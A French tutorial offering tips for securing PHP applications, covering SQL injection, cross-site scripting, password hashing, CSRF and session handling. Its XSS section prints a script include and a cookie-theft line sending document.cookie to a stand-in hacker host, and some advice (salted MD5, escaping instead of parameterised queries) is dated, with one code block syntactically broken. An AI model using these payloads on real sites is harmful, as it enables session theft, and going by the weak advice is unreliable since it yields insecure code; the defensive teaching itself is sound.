10 astuces pour mieux sécuriser votre application PHP

PHP est l’un des langages de programmation les plus utilisés sur le web. La sécurité de l’information est une nécessité permanente pour mieux gérer le site.

Nous vous présentons aujourd’hui une liste de 10 astuces ou idées pour améliorer la sécurités de vos applications PHP.

Le code

1. Éviter les raccourcis PHP.

leur utilité est de simplifier la saisie de code, mais il ne sont pas toujours ativés sur tous les serveurs.

1 <?
2 $a = 5;
3 ?>
Le code précédent fonctionnera correctement si les shorts tags sont activé, mais il sera affiché dans le navigateur s’il balises courtes ! Une grande faille de sécurité !
Il faut vérifier si les balises courtes sont activées !

2. Valider toutes les données saisies par l’utilisateur

Toutes les entrées GET ou POST doivent être validées pour respecter la logique de l’application :

  • Vérification du type de données
  • Vérification de la taille du nombre : Réel, entier, entier relatif !
  • Vérifier la taille des chaines de caractère
  • Vérifier les emails, les urls les dates
  • Vérifier si les données ne contiennent pas de caractères non autorisés!

Voici quelques fonctions à utiliser pour valider les données :

htmlentities()
strip_tags ()
utf8_decode ()
htmlspecialchars()
ctype_digit()
ctype_alnum()
stripslashes()
str_replace()

3. Contrôles des caractères spéciaux dans les données et requêtes :

Controler l’ensembles des variable utilisée directement dans une requête sql pour éviter une manipulation directe des requêtes SQL.

Utiliser un niveau d’abstraction permettant de gérer les objets comme les activerecord etc.

Une petite SQL injection permettra à un hacker de contrôler votre système. Les outils comme sqlmap nécessitent quelques petites minutes pour atteindre ce but. Une seule page avec une vulnérabilité SQL peut causer la perte du contrôle!

http://www.site.com/path/page.php?id=5

si l’id est utilisé dans une requete sans être contrôlé, alors c’est la porte grande ouverte pour les hackers

Voici un exemple de vulnérabilité

1 $id = $_GET['id'];
2 $this->db->query("SELECT * FROM pages WHERE id = '$id'");

Le paramètre id doit être « échappé » par l’utilisation d’une fontion appropriée comme mysqli_real_escape_string() avant de l’utiliser dans la requête.

4. Cross site scripting

Le Cross site scripting permet à un hacker l’injection d’un code côté client dans une page web. Par exemple :

search.php?term=ipad
1 <?php
2
3 $term = $_GET['term'];
4
5 ?>
6 <html>
7 <body>
8 Search results for : <?php echo $term; ?>
9 </body>
10 </html>

Le petit bout de code apparait comme étant bien, mais en considérant cette URL :

http://www.original_website.com/search.php?term=<script>alert(‘Bonjour Icare Design’);</script>

Cette requette affichera « Bonjour Icare Design » dans page search !

Les versions récentes de Google Chrome bloquera cette exécution en affichant le message  « Refused to execute a JavaScript script. Source code of script found within request. »

Mais Firefox l’exécutera !

Ce type de piratage peut être utilisé pour le vol des cookies. Le pirate peut dans un premier temps injecter un script comme

<script type=text/javascript src= »http://www.hacker_website.com/xss.js »></script>

Maintenant ce  xss.js contiendra le code pour copier la valeur de document.cookie variable et l’envoyer au  hacker_website.com

document.location = ‘http://www.hacker_website.com/steal.php?cookies=’ + encodeURI(document.cookie);

Pour plus d’informations  http://ha.ckers.org/xss.html

 

Pour éviter ces problèmes, c’est simple utiliser la fonction : htmlentities.

1 <?php
2
3 $term = $_GET['term'];
4
5 ?>
6 <html>
7 <body>
8 Search results for : <?php echo htmlentities($term); ?>
9 </body>
10 </html>

d’autres fonctions comme strip_tags et htmlspecialchars peuvent être utiliser pour le nettoyage du code !

Use session.cookie_httponly

Cette configuration du php.ini peut rendre les cookies incessible à pour un code javascript et peut représenter une protection contre xss attaques.

5. Toujours nommer votre page : only .php

Par exemple le fichier  ‘config.inc’ contient

1 <?php
2
3 /*
4 Database connection details
5 */
6
7 $db_host = 'localhost';
8 $db_user = 'project';
9 $db_pass = 'secret';
10 $db_name = 'project_ecommerce';

Si cette page est ouverte dans une navigateur, son contenu sera bel et bien affiché !
Toutes les pages doivent avoir l’extention .php

6. utiliser un cryptage puissant comme bcrypt

Md5 est l’un des algorithme de cryptage les plus utilisés par les développeurs php.

$hash = md5($password);

Cependant MD5 n’est pas totalement une solution très sécurisé pour la sauvegarde des mots de passes. La majorité des utilisateurs se contentent d’avoir un mot de passe de 5 à 6 caractères et peut importe la complexité d’un tel mot de passe, il peut être craqué avec un simple PC par bruteforcing!. Plus encore une simple recherche dans google peut donner le mot de passe sur quelques site de piratage des mots de passes.

Pour résoudre cette problématique les développeurs utilisent généralement « salt ». L’ajout d’une chaine de caractère au mot de passe avant son cryptage.

1 $salt = 'SUPER_SALTY';
2 $hash = md5($password . $salt);

L’ajout d’un salt augmente la complexité du mot de passe et rend la tâches des programmes qui force les mots de passe plus difficile. La technique de Salt peut être renforcée par l’utilisation d’un « salt » aléatoire.

Le cryptage Bcrypt est plus complexe que MD5 et il est plus sécurisé : php crypt fonction.

7. Protect against CSRF

CSRF est l’acronyme de Cross Site Request Forgery. c’est la vulnérabilité la plus innocente.

Disons que certaines urls de notre application exécutes les modifications suivantes sur la base de données :

update_info.php?id=123
OR
delete_record.php?id=123

Le problème avec les adresses ci dessus est que le pirate peut conduire un utilisateur légitime à appeler ces urls sans que dernier le remarque!

Par exemple, le pirate peut lier le src image à une page sur son site « hackersite.com/interesting.html » et demande de l’utilisateur d’ouvrir le lien. Maintenant, puisque l’utilisateur est connecté à l’application, s’il clique sur l’url du pirate, il exécute alors la mise à jour !

Un moyen très simple pour éviter cela est de forcer une double confirmation quand il s’agit action majeure !

Une solution plus robuste et générique est l’identification par le serveur de chaque requête par une clé aléatoire.

La Session

8. Regénérer la Session ID

regénérer la session id comme  :

1 session_regenerate_id(); //changes only session id
2 //or
3 session_regenerate_id(true);

Le Session id doit être regénéré au mois quand

  • Un utilisateur se connecte
  • Un utilisateur de déconnecte
  • Quand un utilisateur acquière des droits d’administration
1 if(valid_username() and valid_password())
2 {
3     $_SESSION['logged'] = true;
4     $_SESSION['username'] = $username;
5 }

Vous pouvez aussi regénéré  session id toutes les 15 minutes or ou toutes les 100 requests ?

1 session_start();
2
3 //increment and check
4 if ( ++$_SESSION['regenerated_count'] > 100 )
5 {
6     //reset and regenerate
7     $_SESSION['regenerated_count'] = 0;
8     session_regenerate_id(true);
9 }

9. Mettre un Lock sur le user agent durant la session

 

1 //Function to check if user is logged in or not
2 function check_login_status()
3 {
4     if($_SESSION['logged'] == true and $_SESSION['old_user_agent'] == $_SERVER['HTTP_USER_AGENT'])
5     {
6         return true;
7     }
8     
9     return false;
10 }
11
12 if(!check_login_status())
13 {
14     logout();
15 }
16
17 //Rest of the login protected page

Ou mieux encore

1 session_start();
2
3 $chk = @md5( $_SERVER['HTTP_ACCEPT_CHARSET'] . $_SERVER['HTTP_ACCEPT_ENCODING'] . $_SERVER['HTTP_ACCEPT_LANGUAGE'] . $_SERVER['HTTP_USER_AGENT']);
4 if (empty($_SESSION))
5 {
6     $_SESSION['key'] = $chk;
7 }
8 else if ($_SESSION['key'] != $chk)
9 {
10     session_destroy(); 
11 }

mettre un lock sur l’ IP de la session

 

1 session_start(); 
2
3 $chk = @md5( $_SERVER['HTTP_ACCEPT_CHARSET'] . $_SERVER['HTTP_ACCEPT_ENCODING'] . $_SERVER['HTTP_ACCEPT_LANGUAGE'] . $_SERVER['HTTP_USER_AGENT'] . $_SERVER['REMOTE_ADDR']); 
4
5 if (empty($_SESSION)) 
6 {
7     $_SESSION['key'] = $chk
8 }
9 else if ($_SESSION['key'] != $chk
10 {
11     session_destroy();  
12 }

10. Sauvegarder les sessions dans la database

11. Forcer l’utilisation d’une seule session

1 Comment Add Yours

Leave a comment